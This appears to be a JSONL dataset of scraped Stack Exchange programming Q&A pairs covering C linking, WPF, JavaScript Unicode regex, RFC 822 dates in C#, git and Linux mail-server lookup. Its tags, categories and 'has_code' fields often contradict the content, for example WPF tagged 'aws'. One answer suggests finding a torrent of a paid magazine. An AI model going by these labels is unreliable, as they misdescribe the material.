{"id": "hf_2d98c5785cdf", "question": "<p>I am trying to write a C program that uses <code>dlysm</code>, and I keep getting an undefined reference to dlysm. I think I need to set my <code>-ldl</code> flags but I have no idea how to do this. </p>\n\n<p>I am very new to linux and setting variables. If this is what I need to do can someone help me out with the commands?</p>\n", "question_body": "", "answer": "Pass\n```\n-ldl\n```\nas a parameter to the compiler.\nExample:\n```\n```\ngcc myprog.c -o app -ldl\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:04.204858"}
{"id": "hf_2f9651bd841e", "question": "<p>I am creating menus in WPF programatically using vb.net.  Can someone show me how I can add separator bar to a menu in code?  No xaml please.</p>\n", "question_body": "", "answer": "WPF has a\nSeparator\ncontrol for just that purpose and it also separates your menu items when the appear on a toolbar. From the MSDN docs:\nA Separator control draws a line,\n  horizontal or vertical, between items\n  in controls, such as ListBox, Menu,\n  and ToolBar. Separator controls do not\n  react to any keyboard, mouse, mouse\n  wheel, or tablet input and cannot be\n  enabled or selected.\nIn code:\n```\n```\nusing System.Windows.Controls;\n\n//\n\nMenu myMenu = new Menu();\nmyMenu.Items.Add(new Separator());\n```\n```", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:04.369843"}
{"id": "hf_62e9b27e44e7", "question": "<p>There should be something akin to <code>\\w</code> that can match any code-point in Letters or Marks category (not just the ASCII ones), and hopefully have filters like [[P*]] for punctuation, etc.</p>\n", "question_body": "", "answer": "Situation for ES 6\nThe ECMAScript language specification, edition 6 (also commonly known as ES2015), includes Unicode-aware regular expressions. Support must be enabled with the\n```\nu\n```\nmodifier on the regex. See\nUnicode-aware regular expressions in ES6\nfor a break-down of the feature and some caveats.\nES6 is widely adopted in both browsers and stand-alone Javascript runtimes such as Node.js, so using this feature won't require extra effort in most cases. Full compatibility list:\nhttps://kangax.github.io/compat-table/es6/\nSituation for ES 5 and below (legacy browsers)\nThere is\na transpiler named\nregexpu\nthat translates ES6 Unicode regular expressions into equivalent ES5. It can be used as part of your build process.\nTry it out online.\n.\nEven though JavaScript operates on Unicode strings, it does not implement Unicode-aware character classes and has no concept of POSIX character classes or Unicode blocks/sub-ranges.\nIssues with Unicode in JavaScript regular expressions\nCheck your expectations here:\nJavascript RegExp Unicode Character Class tester\n(\nEdit:\nthe original page is down,\nthe Internet Archive still has a copy\n.)\nFlagrant Badassery has an article on\nJavaScript, Regex, and Unicode\nthat sheds some light on the matter.\nAlso read\nRegex and Unicode\nhere on SO. Probably you have to build your own \"punctuation character class\".\nCheck out the\nRegular Expression: Match Unicode Block Range\nbuilder (\narchived copy\n), which lets you build a JavaScript regular expression that matches characters that fall in any number of specified Unicode blocks.\nI just did it for the \"General Punctuation\" and \"Supplemental Punctuation\" sub-ranges, and the result is as simple and straight-forward as I would have expected it:\n```\n```\n[\\u2000-\\u206F\\u2E00-\\u2E7F]\n```\n```\nThere also is\nXRegExp\n, a project that brings\nUnicode support to JavaScript\nby offering an alternative regex engine with extended capabilities.\nAnd of course, required reading:\nmathiasbynens.be - JavaScript has a Unicode problem\n:", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:04.591152"}
{"id": "hf_4319e583b002", "question": "<p>I'm going to rebuild my Linux box [yet] again.  I have to create a few user groups, user accounts and install my standard packages.  Until now I've just used the GUI tools.  I was wondering if anyone has any recommendations on writing a script to create users, groups and install standard packages after I do a minimal install of my latest Fedora build?  Sometimes I run Ubuntu so I'd like the script to be somewhat generic.</p>\n", "question_body": "", "answer": "Fedora and Ubuntu use totally different package managers, so you won't be able to easily do it in any sort of generic way.\nIn CentOS (which is RedHat Enterprise Edition with the serial numbers filed off, and so therefore pretty close to Fedora), we did this\nusing Kickstart files\n.  These files have a simple syntax that enabled you to specify users, groups and packages to install, and even to script some custom stuff.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:04.781473"}
{"id": "hf_c81766938bcc", "question": "<p>Is there a way to set/change the keyboard input language in Java (eg from English to German)? </p>\n\n<p>Example Use Case: Script to be used for playback is recorded (typed in) on a German keyboard. The automated playback is done on a English keyboard...fails if keyboard is not set to German automatically before script is run.</p>\n", "question_body": "", "answer": "The keyboard input map is managed entirely by the operating system on every platform that I'm familiar with.  Java provides no APIs for manipulating this in a cross-platform manner.  I would investigate native APIs that you could manipulate via\nJNA\n, or even (if you're feeling dirty) shelling out to call some platform-specific command which does what you need.\nYou're not going to find a solution within the JDK standard lib.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:04.983798"}
{"id": "hf_891fd5b024bf", "question": "<p>Can a Silverlight 2 enabled web page be managed from an Apache server? (I'm not actually interested in doing this but trying to understand Silverlight 2 a bit more.)</p>\n\n<p>Assuming that I have IIS6 and Server 2003 what are the .NET version requirements to host a web site with Silverlight 2? Are .NET 3.0 and 3.5 required on the server? My thinking is not because this is a client side technology.</p>\n", "question_body": "", "answer": "The\nsystem requirements for Microsoft Silverlight\nand associated technologies are listed below.\n```\n```\n* Windows\n      o Operating System: Windows Vista; Windows XP Service Pack 2\n      o Intel® Pentium® III 450MHz or faster processor (or equivalent)\n      o 128MB of RAM\n* Mac OS\n      o Operating System: Apple Mac OS X 10.4.8 or above\n      o Intel Core™ Duo 1.83GHz or faster processor\n      o 128MB of RAM\n* Linux. For the system requirements, please refer to the Mono Project's Moonlight Web site.\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:05.125618"}
{"id": "hf_2e7b674b1872", "question": "<p>I know that lots of web hosting providers are offering FreeBSD, but how good is FreeBSD as a development platform?</p>\n\n<p>Specifically, is Java 1.6 available in it? \nIs there somthing specific that it offers with regard to tools that is not available under Linux?</p>\n", "question_body": "", "answer": "Well, there's no Java 1.6 in the /usr/ports of the version I recently installed (latest version AFAIK).  The port of Netbeans is only up to 5.5 bundled.  At a minimum you'd have to go look around for more current versions.  Doesn't look promising as a fully kept up to date development platform.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:05.271616"}
{"id": "hf_583eb6f18ffb", "question": "<p>I know that I can <code> svn diff -r a:b repo </code> to view the changes between the two specified revisions.  What I'd like is a diff for every revision that changed the file.  Is such a command available?</p>\n", "question_body": "", "answer": "You could use\n```\ngit-svn\n```\nto import the repository into a Git repository, then use\n```\ngit log -p filename\n```\n. This shows each log entry for the file followed by the corresponding diff.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:05.543356"}
{"id": "hf_c0e1da9a7393", "question": "<p>Does anyone have sample code to copy open (in-use and locked by another program) files using Volume Shadow Copy Service (VSS) API?</p>\n\n<p>There was an article about this in The Delphi Magazine (September 2005). But that code is no longer available and even if it was, it's not current.</p>\n\n<p>I am looking for sample code that works with current version of Volume Shadow Copy service libraries.</p>\n", "question_body": "", "answer": "there is a digital edition on usb stick of the \"The Delphi Magazine\".\nyou can order that on their webpage.\nmaybe someone has created a torrent of that stick.\nupdate\ni found that sample here:\nhttp://www.google.com/codesearch/p?hl=de#XIdFp1PskBE/VSS/VssAPI.pas\nUpper link is outdated, the header-files can also found here:\nhttp://www.delphipraxis.net/998560-post3.html", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:05.824392"}
{"id": "hf_0ce6a2a73e3e", "question": "<p>I want to transform <code>/foo/bar/..</code> to <code>/foo</code></p>\n\n<p>Is there a bash command which does this?</p>\n\n<hr>\n\n<p>Edit: in my practical case, the directory does exist.</p>\n", "question_body": "", "answer": "Try\n```\nrealpath\n```\n. Below is the source in its entirety, hereby donated to the public domain.\n```\n```\n// realpath.c: display the absolute path to a file or directory.\n// Adam Liss, August, 2007\n// This program is provided \"as-is\" to the public domain, without express or\n// implied warranty, for any non-profit use, provided this notice is maintained.\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <libgen.h>   \n#include <limits.h>\n\nstatic char *s_pMyName;\nvoid usage(void);\n\nint main(int argc, char *argv[])\n{\n    char\n        sPath[PATH_MAX];\n\n    s_pMyName = strdup(basename(argv[0]));\n\n    if (argc < 2)\n        usage();\n\n    printf(\"%s\\n\", realpath(argv[1], sPath));\n    return 0;\n}    \n\nvoid usage(void)\n{\n    fprintf(stderr, \"usage: %s PATH\\n\", s_pMyName);\n    exit(1);\n}\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:06.061315"}
{"id": "hf_470d50ba7673", "question": "<p>How do I convert a DateTime structure to its equivalent <a href=\"http://www.w3.org/Protocols/rfc822/#z28\" rel=\"noreferrer\">RFC 822 date-time</a> formatted string representation <strong>and</strong> parse this string representation back to a DateTime structure in .NET? The RFC-822 date-time format is used in a number of specifications such as the <a href=\"http://www.rssboard.org/rss-specification\" rel=\"noreferrer\">RSS Syndication Format</a>.</p>\n", "question_body": "", "answer": "This is an implementation in C# of how to parse and convert a DateTime to and from its RFC-822 representation. The only restriction it has is that the DateTime is in Coordinated Universal Time (UTC). I agree that this is not very elegant code, but it does the job.\n```\n```\n/// <summary>\n/// Provides methods for converting <see cref=\"DateTime\"/> structures \n/// to and from the equivalent <a href=\"http://www.w3.org/Protocols/rfc822/#z28\">RFC 822</a> \n/// string representation.\n/// </summary>\npublic class Rfc822DateTime\n{\n    //============================================================\n    //  Private members\n    //============================================================\n    #region Private Members\n    /// <summary>\n    /// Private member to hold array of formats that RFC 822 date-time representations conform to.\n    /// </summary>\n    private static string[] formats = new string[0];\n    /// <summary>\n    /// Private member to hold the DateTime format string for representing a DateTime in the RFC 822 format.\n    /// </summary>\n    private const string format     = \"ddd, dd MMM yyyy HH:mm:ss K\";\n    #endregion\n\n    //============================================================\n    //  Public Properties\n    //============================================================\n    #region Rfc822DateTimeFormat\n    /// <summary>\n    /// Gets the custom format specifier that may be used to represent a <see cref=\"DateTime\"/> in the RFC 822 format.\n    /// </summary>\n    /// <value>A <i>DateTime format string</i> that may be used to represent a <see cref=\"DateTime\"/> in the RFC 822 format.</value>\n    /// <remarks>\n    /// <para>\n    /// This method returns a string representation of a <see cref=\"DateTime\"/> that utilizes the time zone \n    /// offset (local differential) to represent the offset from Greenwich mean time in hours and minutes. \n    /// The <see cref=\"Rfc822DateTimeFormat\"/> is a valid date-time format string for use \n    /// in the <see cref=\"DateTime.ToString(String, IFormatProvider)\"/> method.\n    /// </para>\n    /// <para>\n    /// The <a href=\"http://www.w3.org/Protocols/rfc822/#z28\">RFC 822</a> Date and Time specification \n    /// specifies that the year will be represented as a two-digit value, but the \n    /// <a href=\"http://www.rssboard.org/rss-profile#data-types-datetime\">RSS Profile</a> recommends that \n    /// all date-time values should use a four-digit year. The <see cref=\"Rfc822DateTime\"/> class \n    /// follows the RSS Profile recommendation when converting a <see cref=\"DateTime\"/> to the equivalent \n    /// RFC 822 string representation.\n    /// </para>\n    /// </remarks>\n    public static string Rfc822DateTimeFormat\n    {\n        get\n        {\n            return format;\n        }\n    }\n    #endregion\n\n    #region Rfc822DateTimePatterns\n    /// <summary>\n    /// Gets an array of the expected formats for RFC 822 date-time string representations.\n    /// </summary>\n    /// <value>\n    /// An array of the expected formats for RFC 822 date-time string representations \n    /// that may used in the <see cref=\"DateTime.TryParseExact(String, string[], IFormatProvider, DateTimeStyles, out DateTime)\"/> method.\n    /// </value>\n    /// <remarks>\n    /// The array of the expected formats that is returned assumes that the RFC 822 time zone \n    /// is represented as or converted to a local differential representation.\n    /// </remarks>\n    /// <seealso cref=\"ConvertZoneToLocalDifferential(String)\"/>\n    public static string[] Rfc822DateTimePatterns\n    {\n        get\n        {\n            if (formats.Length > 0)\n            {\n                return formats;\n            }\n            else\n            {\n                formats = new string[35];\n\n                // two-digit day, four-digit year patterns\n                formats[0]  = \"ddd',' dd MMM yyyy HH':'mm':'ss'.'fffffff zzzz\";\n                formats[1]  = \"ddd',' dd MMM yyyy HH':'mm':'ss'.'ffffff zzzz\";\n                formats[2]  = \"ddd',' dd MMM yyyy HH':'mm':'ss'.'fffff zzzz\";\n                formats[3]  = \"ddd',' dd MMM yyyy HH':'mm':'ss'.'ffff zzzz\";\n                formats[4]  = \"ddd',' dd MMM yyyy HH':'mm':'ss'.'fff zzzz\";\n                formats[5]  = \"ddd',' dd MMM yyyy HH':'mm':'ss'.'ff zzzz\";\n                formats[6]  = \"ddd',' dd MMM yyyy HH':'mm':'ss'.'f zzzz\";\n                formats[7]  = \"ddd',' dd MMM yyyy HH':'mm':'ss zzzz\";\n\n                // two-digit day, two-digit year patterns\n                formats[8]  = \"ddd',' dd MMM yy HH':'mm':'ss'.'fffffff zzzz\";\n                formats[9]  = \"ddd',' dd MMM yy HH':'mm':'ss'.'ffffff zzzz\";\n                formats[10] = \"ddd',' dd MMM yy HH':'mm':'ss'.'fffff zzzz\";\n                formats[11] = \"ddd',' dd MMM yy HH':'mm':'ss'.'ffff zzzz\";\n                formats[12] = \"ddd',' dd MMM yy HH':'mm':'ss'.'fff zzzz\";\n                formats[13] = \"ddd',' dd MMM yy HH':'mm':'ss'.'ff zzzz\";\n                formats[14] = \"ddd',' dd MMM yy HH':'mm':'ss'.'f zzzz\";\n                formats[15] = \"ddd',' dd MMM yy HH':'mm':'ss zzzz\";\n\n                // one-digit day, four-digit year patterns\n                formats[16] = \"ddd',' d MMM yyyy HH':'mm':'ss'.'fffffff zzzz\";\n                formats[17] = \"ddd',' d MMM yyyy HH':'mm':'ss'.'ffffff zzzz\";\n                formats[18] = \"ddd',' d MMM yyyy HH':'mm':'ss'.'fffff zzzz\";\n                formats[19] = \"ddd',' d MMM yyyy HH':'mm':'ss'.'ffff zzzz\";\n                formats[20] = \"ddd',' d MMM yyyy HH':'mm':'ss'.'fff zzzz\";\n                formats[21] = \"ddd',' d MMM yyyy HH':'mm':'ss'.'ff zzzz\";\n                formats[22] = \"ddd',' d MMM yyyy HH':'mm':'ss'.'f zzzz\";\n                formats[23] = \"ddd',' d MMM yyyy HH':'mm':'ss zzzz\";\n\n                // two-digit day, two-digit year patterns\n                formats[24] = \"ddd',' d MMM yy HH':'mm':'ss'.'fffffff zzzz\";\n                formats[25] = \"ddd',' d MMM yy HH':'mm':'ss'.'ffffff zzzz\";\n                formats[26] = \"ddd',' d MMM yy HH':'mm':'ss'.'fffff zzzz\";\n                formats[27] = \"ddd',' d MMM yy HH':'mm':'ss'.'ffff zzzz\";\n                formats[28] = \"ddd',' d MMM yy HH':'mm':'ss'.'fff zzzz\";\n                formats[29] = \"ddd',' d MMM yy HH':'mm':'ss'.'ff zzzz\";\n                formats[30] = \"ddd',' d MMM yy HH':'mm':'ss'.'f zzzz\";\n                formats[31] = \"ddd',' d MMM yy HH':'mm':'ss zzzz\";\n\n                // Fall back patterns\n                formats[32] = \"yyyy'-'MM'-'dd'T'HH':'mm':'ss'.'fffffffK\"; // RoundtripDateTimePattern\n                formats[33] = DateTimeFormatInfo.InvariantInfo.UniversalSortableDateTimePattern;\n                formats[34] = DateTimeFormatInfo.InvariantInfo.SortableDateTimePattern;\n\n                return formats;\n            }\n        }\n    }\n    #endregion\n\n    //============================================================\n    //  Public Methods\n    //============================================================\n    #region Parse(string s)\n    /// <summary>\n    /// Converts the specified string representation of a date and time to its <see cref=\"DateTime\"/> equivalent.\n    /// </summary>\n    /// <param name=\"s\">A string containing a date and time to convert.</param>\n    /// <returns>\n    /// A <see cref=\"DateTime\"/> equivalent to the date and time contained in <paramref name=\"s\"/>, \n    /// expressed as <i>Coordinated Universal Time (UTC)</i>.\n    /// </returns>\n    /// <remarks>\n    /// The string <paramref name=\"s\"/> is parsed using formatting information in the <see cref=\"DateTimeFormatInfo.InvariantInfo\"/> object.\n    /// </remarks>\n    /// <exception cref=\"ArgumentNullException\"><paramref name=\"s\"/> is a <b>null</b> reference (Nothing in Visual Basic).</exception>\n    /// <exception cref=\"ArgumentNullException\"><paramref name=\"s\"/> is an empty string.</exception>\n    /// <exception cref=\"FormatException\"><paramref name=\"s\"/> does not contain a valid RFC 822 string representation of a date and time.</exception>\n    public static DateTime Parse(string s)\n    {\n        //------------------------------------------------------------\n        //  Validate parameter\n        //------------------------------------------------------------\n        if (String.IsNullOrEmpty(s))\n        {\n          throw new ArgumentNullException(\"s\");\n        }\n\n        DateTime result;\n        if (Rfc822DateTime.TryParse(s, out result))\n        {\n            return result;\n        }\n        else\n        {\n            throw new FormatException(String.Format(null, \"{0} is not a valid RFC 822 string representation of a date and time.\", s));\n        }\n    }\n    #endregion\n\n    #region ConvertZoneToLocalDifferential(string s)\n    /// <summary>\n    /// Converts the time zone component of an RFC 822 date and time string representation to its local differential (time zone offset).\n    /// </summary>\n    /// <param name=\"s\">A string containing an RFC 822 date and time to convert.</param>\n    /// <returns>A date and time string that uses local differential to describe the time zone equivalent to the date and time contained in <paramref name=\"s\"/>.</returns>\n    /// <exception cref=\"ArgumentNullException\"><paramref name=\"s\"/> is a <b>null</b> reference (Nothing in Visual Basic).</exception>\n    /// <exception cref=\"ArgumentNullException\"><paramref name=\"s\"/> is an empty string.</exception>\n    public static string ConvertZoneToLocalDifferential(string s)\n    {\n        string zoneRepresentedAsLocalDifferential   = String.Empty;\n\n        //------------------------------------------------------------\n        //  Validate parameter\n        //------------------------------------------------------------\n        if (String.IsNullOrEmpty(s))\n        {\n          throw new ArgumentNullException(\"s\");\n        }\n\n        if(s.EndsWith(\" UT\", StringComparison.OrdinalIgnoreCase))\n        {\n            zoneRepresentedAsLocalDifferential  = String.Concat(s.Substring(0, (s.LastIndexOf(\" UT\") + 1) ), \"+00:00\");\n        }\n        else if (s.EndsWith(\" GMT\", StringComparison.OrdinalIgnoreCase))\n        {\n            zoneRepresentedAsLocalDifferential  = String.Concat(s.Substring(0, (s.LastIndexOf(\" GMT\") + 1 ) ), \"+00:00\");\n        }\n        else if (s.EndsWith(\" EST\", StringComparison.OrdinalIgnoreCase))\n        {\n            zoneRepresentedAsLocalDifferential  = String.Concat(s.Substring(0, (s.LastIndexOf(\" EST\") + 1)), \"-05:00\");\n        }\n        else if (s.EndsWith(\" EDT\", StringComparison.OrdinalIgnoreCase))\n        {\n            zoneRepresentedAsLocalDifferential  = String.Concat(s.Substring(0, (s.LastIndexOf(\" EDT\") + 1)), \"-04:00\");\n        }\n        else if (s.EndsWith(\" CST\", StringComparison.OrdinalIgnoreCase))\n        {\n            zoneRepresentedAsLocalDifferential  = String.Concat(s.Substring(0, (s.LastIndexOf(\" CST\") + 1)), \"-06:00\");\n        }\n        else if (s.EndsWith(\" CDT\", StringComparison.OrdinalIgnoreCase))\n        {\n            zoneRepresentedAsLocalDifferential  = String.Concat(s.Substring(0, (s.LastIndexOf(\" CDT\") + 1)), \"-05:00\");\n        }\n        else if (s.EndsWith(\" MST\", StringComparison.OrdinalIgnoreCase))\n        {\n            zoneRepresentedAsLocalDifferential  = String.Concat(s.Substring(0, (s.LastIndexOf(\" MST\") + 1)), \"-07:00\");\n        }\n        else if (s.EndsWith(\" MDT\", StringComparison.OrdinalIgnoreCase))\n        {\n            zoneRepresentedAsLocalDifferential  = String.Concat(s.Substring(0, (s.LastIndexOf(\" MDT\") + 1)), \"-06:00\");\n        }\n        else if (s.EndsWith(\" PST\", StringComparison.OrdinalIgnoreCase))\n        {\n            zoneRepresentedAsLocalDifferential  = String.Concat(s.Substring(0, (s.LastIndexOf(\" PST\") + 1)), \"-08:00\");\n        }\n        else if (s.EndsWith(\" PDT\", StringComparison.OrdinalIgnoreCase))\n        {\n            zoneRepresentedAsLocalDifferential  = String.Concat(s.Substring(0, (s.LastIndexOf(\" PDT\") + 1)), \"-07:00\");\n        }\n        else if (s.EndsWith(\" Z\", StringComparison.OrdinalIgnoreCase))\n        {\n            zoneRepresentedAsLocalDifferential  = String.Concat(s.Substring(0, (s.LastIndexOf(\" Z\") + 1)), \"+00:00\");\n        }\n        else if (s.EndsWith(\" A\", StringComparison.OrdinalIgnoreCase))\n        {\n            zoneRepresentedAsLocalDifferential  = String.Concat(s.Substring(0, (s.LastIndexOf(\" A\") + 1)), \"-01:00\");\n        }\n        else if (s.EndsWith(\" M\", StringComparison.OrdinalIgnoreCase))\n        {\n            zoneRepresentedAsLocalDifferential  = String.Concat(s.Substring(0, (s.LastIndexOf(\" M\") + 1)), \"-12:00\");\n        }\n        else if (s.EndsWith(\" N\", StringComparison.OrdinalIgnoreCase))\n        {\n            zoneRepresentedAsLocalDifferential  = String.Concat(s.Substring(0, (s.LastIndexOf(\" N\") + 1)), \"+01:00\");\n        }\n        else if (s.EndsWith(\" Y\", StringComparison.OrdinalIgnoreCase))\n        {\n            zoneRepresentedAsLocalDifferential  = String.Concat(s.Substring(0, (s.LastIndexOf(\" Y\") + 1)), \"+12:00\");\n        }\n        else\n        {\n            zoneRepresentedAsLocalDifferential  = s;\n        }\n\n        return zoneRepresentedAsLocalDifferential;\n    }\n    #endregion\n\n    #region ToString(DateTime utcDateTime)\n    /// <summary>\n    /// Converts the value of the specified <see cref=\"DateTime\"/> object to its equivalent string representation.\n    /// </summary>\n    /// <param name=\"utcDateTime\">The Coordinated Universal Time (UTC) <see cref=\"DateTime\"/> to convert.</param>\n    /// <returns>A RFC 822 string representation of the value of the <paramref name=\"utcDateTime\"/>.</returns>\n    /// <exception cref=\"ArgumentException\">The specified <paramref name=\"utcDateTime\"/> object does not represent a <see cref=\"DateTimeKind.Utc\">Coordinated Universal Time (UTC)</see> value.</exception>\n    public static string ToString(DateTime utcDateTime)\n    {\n        if (utcDateTime.Kind != DateTimeKind.Utc)\n        {\n            throw new ArgumentException(\"utcDateTime\");\n        }\n\n        return utcDateTime.ToString(Rfc822DateTime.Rfc822DateTimeFormat, DateTimeFormatInfo.InvariantInfo);\n    }\n    #endregion\n\n    #region TryParse(string s, out DateTime result)\n    /// <summary>\n    /// Converts the specified string representation of a date and time to its <see cref=\"DateTime\"/> equivalent.\n    /// </summary>\n    /// <param name=\"s\">A string containing a date and time to convert.</param>\n    /// <param name=\"result\">\n    /// When this method returns, contains the <see cref=\"DateTime\"/> value equivalent to the date and time \n    /// contained in <paramref name=\"s\"/>, expressed as <i>Coordinated Universal Time (UTC)</i>, \n    /// if the conversion succeeded, or <see cref=\"DateTime.MinValue\">MinValue</see> if the conversion failed. \n    /// The conversion fails if the s parameter is a <b>null</b> reference (Nothing in Visual Basic), \n    /// or does not contain a valid string representation of a date and time. \n    /// This parameter is passed uninitialized.\n    /// </param>\n    /// <returns><b>true</b> if the <paramref name=\"s\"/> parameter was converted successfully; otherwise, <b>false</b>.</returns>\n    /// <remarks>\n    /// The string <paramref name=\"s\"/> is parsed using formatting information in the <see cref=\"DateTimeFormatInfo.InvariantInfo\"/> object. \n    /// </remarks>\n    public static bool TryParse(string s, out DateTime result)\n    {\n        //------------------------------------------------------------\n        //  Attempt to convert string representation\n        //------------------------------------------------------------\n        bool wasConverted   = false;\n        result              = DateTime.MinValue;\n\n        if (!String.IsNullOrEmpty(s))\n        {\n            DateTime parseResult;\n            if (DateTime.TryParseExact(Rfc822DateTime.ConvertZoneToLocalDifferential(s), Rfc822DateTime.Rfc822DateTimePatterns, DateTimeFormatInfo.InvariantInfo, DateTimeStyles.AdjustToUniversal, out parseResult))\n            {\n                result          = DateTime.SpecifyKind(parseResult, DateTimeKind.Utc);\n                wasConverted    = true;\n            }\n        }\n\n        return wasConverted;\n    }\n    #endregion\n}\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:06.196715"}
{"id": "hf_354688bf5a4b", "question": "<pre><code>private JButton jBtnDrawCircle = new JButton(\"Circle\");\nprivate JButton jBtnDrawSquare = new JButton(\"Square\");\nprivate JButton jBtnDrawTriangle = new JButton(\"Triangle\");\nprivate JButton jBtnSelection = new JButton(\"Selection\");\n</code></pre>\n\n<p>How do I add action listeners to these buttons, so that from a main method I can call <code>actionperformed</code> on them, so when they are clicked I can call them in my program?</p>\n", "question_body": "", "answer": "Your best bet is to review the\nJava Swing tutorials\n, specifically the\ntutorial on Buttons\n.\nThe short code snippet is:\n```\n```\njBtnDrawCircle.addActionListener( /*class that implements ActionListener*/ );\n```\n```", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:06.358120"}
{"id": "hf_450c09c56b89", "question": "<p>I'm using MediaTemple's (dv) hosting service. How do I determine what mail-server is installed? Should I use the shell? If so, what command would be used?</p>\n", "question_body": "", "answer": "Go to the shell and type this command:\n```\n```\ntelnet <hostname> 25\n```\n```\nThis will come back with a line like so:\n```\n```\n220 example.com ESMTP Exim 4.69 Thu, 13 Nov 2008 10:06:01 +1100\n```\n```\nas you can see, this sever is running EXIM.\nThen type QUIT to exit back to the shell.\nUPDATE:\nSome hosts use a different address for their email server, if you are on Linux, you can type the following command to get a list of mail servers for a given domain:\n```\n```\ndig -t MX example.com\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:06.673688"}
{"id": "hf_b275f943a195", "question": "<p>Does anyone know of any method in Rails by which an associated object may be frozen. The problem I am having is that I have an order model with many line items which in turn belong to a product or service. When the order is paid for, I need to freeze the details of the ordered items so that when the price is changed, the order's totals are preserved.</p>\n", "question_body": "", "answer": "I worked on an online purchase system before. What you want to do is have an Order class and a LineItem class. LineItems store product details like price, quantity, and maybe some other information you need to keep for records. It's more complicated but it's the only way I know to lock in the details.\nAn Order is simply made up of LineItems and probably contains shipping and billing addresses. The total price of the Order can be calculated by adding up the LineItems.\nBasically, you freeze the data before the person makes the purchase. When they are added to an order, the data is frozen because LineItems duplicate nessacary product information. This way when a product is removed from your system, you can still make sense of old orders.\nYou may want to look at a rails plugin call 'AASM' (formerly, acts as state machine) to handle the state of an order.\nEdit: AASM can be found here http://github.com/rubyist/aasm/tree/master", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:06.993731"}
{"id": "hf_56f109261889", "question": "<p>I cloned a Git master and made a lot of changes on the clone. I have since committed these changes on the clone and now want the master to be a carbon copy of what is on the clone.</p>\n\n<p>I've tried Git push on the clone to push the changes to the master - but nothing I do updates the master.</p>\n\n<p>How can I make the master an exact copy of what is on the clone? What is the command workflow of updating the clone and having the master sync with the clone?</p>\n", "question_body": "", "answer": "There are 2 kinds of git repository, bare and non-bare. A non bare repository is any repository which has a 'working copy' i.e. some part of the repository currently checked out.\nYou\ncan\npush into a non-bare repository, but it won't update the checked out working copy even if the checked out branch is the same as the branch you pushed. This is because the checked out copy might have changes that aren't committed, and git won't ever destroy changes without you explicitly asking (usually such commands have a --hard argument)\nRead\nWhy won't I see changes in the remote repo after \"git push\"?\nand\nHow would I use \"git push\" to sync out of a firewalled host?\nfor a full description of the problem and a potential solution. Word of warning, if you've pushed into a remote repo, any non-committed changes in that remote-repo will have to be discarded.\nGenerally it sounds like the approach you want isn't really adopted by gitters, because it doesn't really match the distributed repository mentality. It's your own responsibility to make sure your copy of the repo is up to date.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:07.125704"}
